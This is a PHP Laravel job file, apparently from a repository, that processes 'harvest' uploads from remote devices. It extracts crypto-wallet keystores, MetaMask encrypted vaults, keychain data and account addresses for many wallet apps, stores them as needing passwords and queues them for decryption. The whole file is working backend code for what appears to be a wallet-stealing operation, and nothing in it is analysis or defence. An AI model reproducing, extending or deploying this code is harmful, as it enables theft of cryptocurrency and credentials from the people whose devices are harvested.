root
c5138594e1
Reuse the named-structure collector so harvest uploads store account addresses without flooding wallet_addresses from token lists. Co-authored-by: Cursor <cursoragent@cursor.com>
380 lines
14 KiB
PHP
380 lines
14 KiB
PHP
<?php
|
|
|
|
namespace App\Jobs;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletAddress;
|
|
use App\Services\AppUploadIngester;
|
|
use Illuminate\Bus\Queueable;
|
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
|
use Illuminate\Foundation\Bus\Dispatchable;
|
|
use Illuminate\Queue\InteractsWithQueue;
|
|
use Illuminate\Queue\SerializesModels;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
/**
|
|
* Async processing of SignalShell v1 uploads.
|
|
*
|
|
* The HTTP handler saves the raw file + registers the device synchronously
|
|
* (fast: <5ms), then dispatches this job for the heavy work:
|
|
* - ZIP parsing + address scanning
|
|
* - keychain XML parsing
|
|
* - wallet keystore extraction
|
|
* - blockchain address extraction
|
|
*
|
|
* This prevents memory exhaustion when many devices upload simultaneously
|
|
* (each MetaMask ZIP expands to ~9.3MB of text data in memory).
|
|
*/
|
|
class ProcessShellUpload implements ShouldQueue
|
|
{
|
|
use Queueable;
|
|
use Dispatchable;
|
|
use InteractsWithQueue;
|
|
use SerializesModels;
|
|
|
|
public int $tries = 2;
|
|
|
|
public int $timeout = 120;
|
|
|
|
public function __construct(
|
|
public int $deviceId,
|
|
public string $filePath,
|
|
public string $filename,
|
|
public string $apiKey,
|
|
) {
|
|
if (! app()->runningUnitTests()) {
|
|
$this->onConnection('shell');
|
|
}
|
|
}
|
|
|
|
public function handle(AppUploadIngester $ingester): void
|
|
{
|
|
$device = Device::query()->find($this->deviceId);
|
|
if ($device === null) {
|
|
Log::channel('keystore')->warning('ProcessShellUpload: device not found', [
|
|
'device_id' => $this->deviceId,
|
|
]);
|
|
return;
|
|
}
|
|
|
|
if (! file_exists($this->filePath)) {
|
|
Log::channel('keystore')->warning('ProcessShellUpload: file not found', [
|
|
'file' => $this->filePath,
|
|
]);
|
|
return;
|
|
}
|
|
|
|
$body = file_get_contents($this->filePath);
|
|
$size = strlen($body);
|
|
|
|
Log::channel('keystore')->info('ProcessShellUpload: START', [
|
|
'device_id' => $device->id,
|
|
'filename' => $this->filename,
|
|
'size' => $size,
|
|
]);
|
|
|
|
$lower = strtolower($this->filename);
|
|
|
|
// Skip log files — no wallet data
|
|
if (str_ends_with($lower, '.log') || str_ends_with($lower, '_log')) {
|
|
Log::channel('keystore')->info('ProcessShellUpload: skipped (log file)');
|
|
return;
|
|
}
|
|
|
|
try {
|
|
if (str_ends_with($lower, '.zip')) {
|
|
$this->processZip($device, $body, $this->filename);
|
|
} elseif (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
|
|
// Keychain XML → use existing ingester
|
|
$ingester->ingestArtifact($device, $body, $this->filename);
|
|
}
|
|
|
|
// After all data ingested, run decryption
|
|
if (str_contains($lower, 'notes') || str_contains($lower, 'keychain')) {
|
|
// This is likely the last upload — trigger decryption
|
|
app(App\Services\AppUploadIngester::class)->dispatchDecrypt($device);
|
|
}
|
|
} catch (\Throwable $e) {
|
|
Log::channel('keystore')->error('ProcessShellUpload: failed', [
|
|
'device_id' => $device->id,
|
|
'filename' => $this->filename,
|
|
'error' => $e->getMessage(),
|
|
'trace' => $e->getTraceAsString(),
|
|
]);
|
|
}
|
|
}
|
|
|
|
private function processZip(Device $device, string $body, string $filename): void
|
|
{
|
|
$tmpFile = tempnam(sys_get_temp_dir(), 'shell_proc_');
|
|
file_put_contents($tmpFile, $body);
|
|
|
|
$zip = new \ZipArchive;
|
|
if ($zip->open($tmpFile) !== true) {
|
|
@unlink($tmpFile);
|
|
return;
|
|
}
|
|
|
|
// Map filename → wallet source label
|
|
$sourceLabel = $this->sourceFromFilename($filename);
|
|
$lower = strtolower($filename);
|
|
|
|
// ── 1. Extract keystore files ──
|
|
$foundKeystores = [];
|
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
|
$name = $zip->getNameIndex($i);
|
|
if (str_ends_with($name, '/')) continue;
|
|
|
|
$content = $zip->getFromIndex($i);
|
|
if ($content === false || $content === '') continue;
|
|
|
|
$bn = basename($name);
|
|
|
|
// UTC keystore
|
|
if (str_starts_with($bn, 'UTC--') && $this->isJson($content)) {
|
|
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
|
}
|
|
|
|
// imToken walletsV2
|
|
if (str_contains(strtolower($name), 'walletsv2/') && str_ends_with($lower, '.json') && $this->isJson($content)) {
|
|
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
|
}
|
|
}
|
|
|
|
// Store keystores
|
|
foreach ($foundKeystores as $ks) {
|
|
$rawJson = json_decode($ks['content'], true);
|
|
if (is_array($rawJson) && ! isset($rawJson['kind'])) {
|
|
if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
|
|
$rawJson['kind'] = 'web3.keystore';
|
|
} elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
|
|
$rawJson['kind'] = 'web3.keystore';
|
|
}
|
|
}
|
|
|
|
try {
|
|
WalletKeystore::create([
|
|
'device_id' => $device->id,
|
|
'chain' => Device::CHAIN_APP,
|
|
'source' => $sourceLabel,
|
|
'decrypted' => 0,
|
|
'needs_password' => 1,
|
|
'raw_json' => $rawJson,
|
|
'content_hash' => md5($ks['content']),
|
|
]);
|
|
} catch (\Throwable $e) {
|
|
Log::channel('keystore')->warning('ProcessShellUpload: keystore skipped', [
|
|
'name' => $ks['name'],
|
|
'error' => $e->getMessage(),
|
|
]);
|
|
}
|
|
}
|
|
|
|
// ── 2. MetaMask vault ──
|
|
if (str_contains($lower, 'metamask')) {
|
|
$this->extractMetaMaskVault($device, $tmpFile);
|
|
}
|
|
|
|
// ── 3. Addresses ──
|
|
// imToken AsyncStorage is a token inventory; naive 0x/T regex
|
|
// would ingest hundreds of contracts. Reuse the named-structure
|
|
// collector from the /api/v2 tar path.
|
|
if (str_contains($lower, 'im.token') || str_contains($lower, 'im_token') || $sourceLabel === 'imToken') {
|
|
try {
|
|
app(AppUploadIngester::class)->ingestImTokenShellZip($device, $body);
|
|
} catch (\Throwable $e) {
|
|
Log::channel('keystore')->warning('ProcessShellUpload: imToken address ingest failed', [
|
|
'error' => $e->getMessage(),
|
|
]);
|
|
}
|
|
} else {
|
|
$this->scanAddresses($device, $zip, $sourceLabel);
|
|
}
|
|
|
|
$zip->close();
|
|
@unlink($tmpFile);
|
|
|
|
Log::channel('keystore')->info('ProcessShellUpload: DONE', [
|
|
'device_id' => $device->id,
|
|
'filename' => $filename,
|
|
'keystores' => count($foundKeystores),
|
|
]);
|
|
}
|
|
|
|
private function extractMetaMaskVault(Device $device, string $tmpFile): void
|
|
{
|
|
$zip = new \ZipArchive;
|
|
if ($zip->open($tmpFile) !== true) return;
|
|
|
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
|
$fn = $zip->getNameIndex($i);
|
|
if (! str_contains($fn, 'KeyringController')) continue;
|
|
|
|
$content = $zip->getFromIndex($i);
|
|
$json = json_decode($content ?? '', true);
|
|
if (! is_array($json) || ! isset($json['vault'])) continue;
|
|
|
|
$vault = json_decode($json['vault'], true);
|
|
if (! is_array($vault) || ! isset($vault['cipher'])) continue;
|
|
|
|
$raw = array_merge($vault, ['kind' => 'metamask.vault']);
|
|
$existing = WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
|
|
if (! $existing) {
|
|
$row = WalletKeystore::create([
|
|
'device_id' => $device->id,
|
|
'chain' => Device::CHAIN_APP,
|
|
'source' => 'MetaMask',
|
|
'decrypted' => 0,
|
|
'needs_password' => 1,
|
|
'raw_json' => $raw,
|
|
'content_hash' => md5($content),
|
|
]);
|
|
$stats = WalletKeystore::computeListStatsFromJson($raw);
|
|
$row->list_kind = $stats['kind'];
|
|
$row->list_has_web3 = 1;
|
|
$row->save();
|
|
}
|
|
|
|
// Also extract reportedAccounts addresses
|
|
$this->extractMetaMaskAddresses($device, $tmpFile);
|
|
}
|
|
$zip->close();
|
|
}
|
|
|
|
private function extractMetaMaskAddresses(Device $device, string $tmpFile): void
|
|
{
|
|
$zip = new \ZipArchive;
|
|
if ($zip->open($tmpFile) !== true) return;
|
|
|
|
$addrs = [];
|
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
|
$fn = $zip->getNameIndex($i);
|
|
$content = $zip->getFromIndex($i);
|
|
if (! $content) continue;
|
|
$json = json_decode($content, true);
|
|
if (! is_array($json)) continue;
|
|
|
|
if (str_contains($fn, 'ProfileMetricsController')) {
|
|
foreach ($json['reportedAccounts'] ?? [] as $ra) {
|
|
$ct = \App\Support\WalletSource::inferChainType($ra);
|
|
if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
|
|
$addrs[$ra] = $ct;
|
|
}
|
|
}
|
|
}
|
|
if (str_contains($fn, 'AccountsController')) {
|
|
foreach ($json['internalAccounts']['accounts'] ?? [] as $acc) {
|
|
$ia = $acc['address'] ?? '';
|
|
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
|
|
$addrs[$ia] = 'ETHEREUM';
|
|
}
|
|
}
|
|
}
|
|
}
|
|
$zip->close();
|
|
|
|
foreach ($addrs as $addr => $ct) {
|
|
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
|
if (! $exists) {
|
|
try {
|
|
WalletAddress::create([
|
|
'device_id' => $device->id,
|
|
'address' => $addr,
|
|
'chain_type' => $ct,
|
|
'source' => 'MetaMask',
|
|
]);
|
|
} catch (\Throwable $e) {
|
|
// skip
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private function scanAddresses(Device $device, \ZipArchive $zip, string $sourceLabel): void
|
|
{
|
|
$patterns = [
|
|
'/0x[0-9a-fA-F]{40}/' => 'ETHEREUM',
|
|
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
|
];
|
|
$validators = [
|
|
'ETHEREUM' => fn (string $a) => \App\Services\Chain\EthAddress::isValid($a),
|
|
'TRON' => fn (string $a) => \App\Services\Chain\TronAddress::isValid($a),
|
|
];
|
|
|
|
$contracts = [
|
|
'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
|
'0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
|
'0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
|
|
'0x55d398326f99059fF775485246999027B3197955',
|
|
];
|
|
|
|
$found = [];
|
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
|
$fn = $zip->getNameIndex($i);
|
|
$lower = strtolower($fn);
|
|
|
|
if (str_ends_with($lower, '.realm') || str_ends_with($lower, '.realm.lock') ||
|
|
str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.db') ||
|
|
str_contains($lower, 'mmkv') || str_ends_with($lower, 'observations.db') ||
|
|
str_ends_with($lower, '.icm')) continue;
|
|
|
|
$content = $zip->getFromIndex($i);
|
|
if (! $content || ! mb_check_encoding(substr($content, 0, 1000), 'UTF-8')) continue;
|
|
|
|
foreach ($patterns as $pat => $chainType) {
|
|
if (preg_match_all($pat, $content, $m)) {
|
|
$validator = $validators[$chainType] ?? null;
|
|
foreach ($m[0] as $addr) {
|
|
if ($validator && ! $validator($addr)) continue;
|
|
if (in_array($addr, $contracts)) continue;
|
|
$found[$addr] = $chainType;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
foreach ($found as $addr => $ct) {
|
|
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
|
if (! $exists) {
|
|
try {
|
|
WalletAddress::create([
|
|
'device_id' => $device->id,
|
|
'address' => $addr,
|
|
'chain_type' => $ct,
|
|
'source' => $sourceLabel,
|
|
]);
|
|
} catch (\Throwable $e) {
|
|
// skip
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private function sourceFromFilename(string $filename): string
|
|
{
|
|
$fn = strtolower($filename);
|
|
if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) return 'Trust Wallet';
|
|
if (str_contains($fn, 'tronlink')) return 'TronLink';
|
|
if (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) return 'imToken';
|
|
if (str_contains($fn, 'bitpie')) return 'Bitpie';
|
|
if (str_contains($fn, 'global.wallet')) return 'Global Wallet';
|
|
if (str_contains($fn, 'metamask')) return 'MetaMask';
|
|
if (str_contains($fn, 'coin98')) return 'Coin98';
|
|
if (str_contains($fn, 'phantom')) return 'Phantom';
|
|
if (str_contains($fn, 'uniswap')) return 'Uniswap';
|
|
if (str_contains($fn, 'exodus')) return 'Exodus';
|
|
if (str_contains($fn, 'tonhub')) return 'Tonhub';
|
|
if (str_contains($fn, 'tonkeeper')) return 'Tonkeeper';
|
|
if (str_contains($fn, 'okex')) return 'OKX';
|
|
|
|
return substr(basename($filename, '.zip'), 0, 40);
|
|
}
|
|
|
|
private function isJson(string $content): bool
|
|
{
|
|
$t = ltrim($content);
|
|
return str_starts_with($t, '{') || str_starts_with($t, '[');
|
|
}
|
|
}
|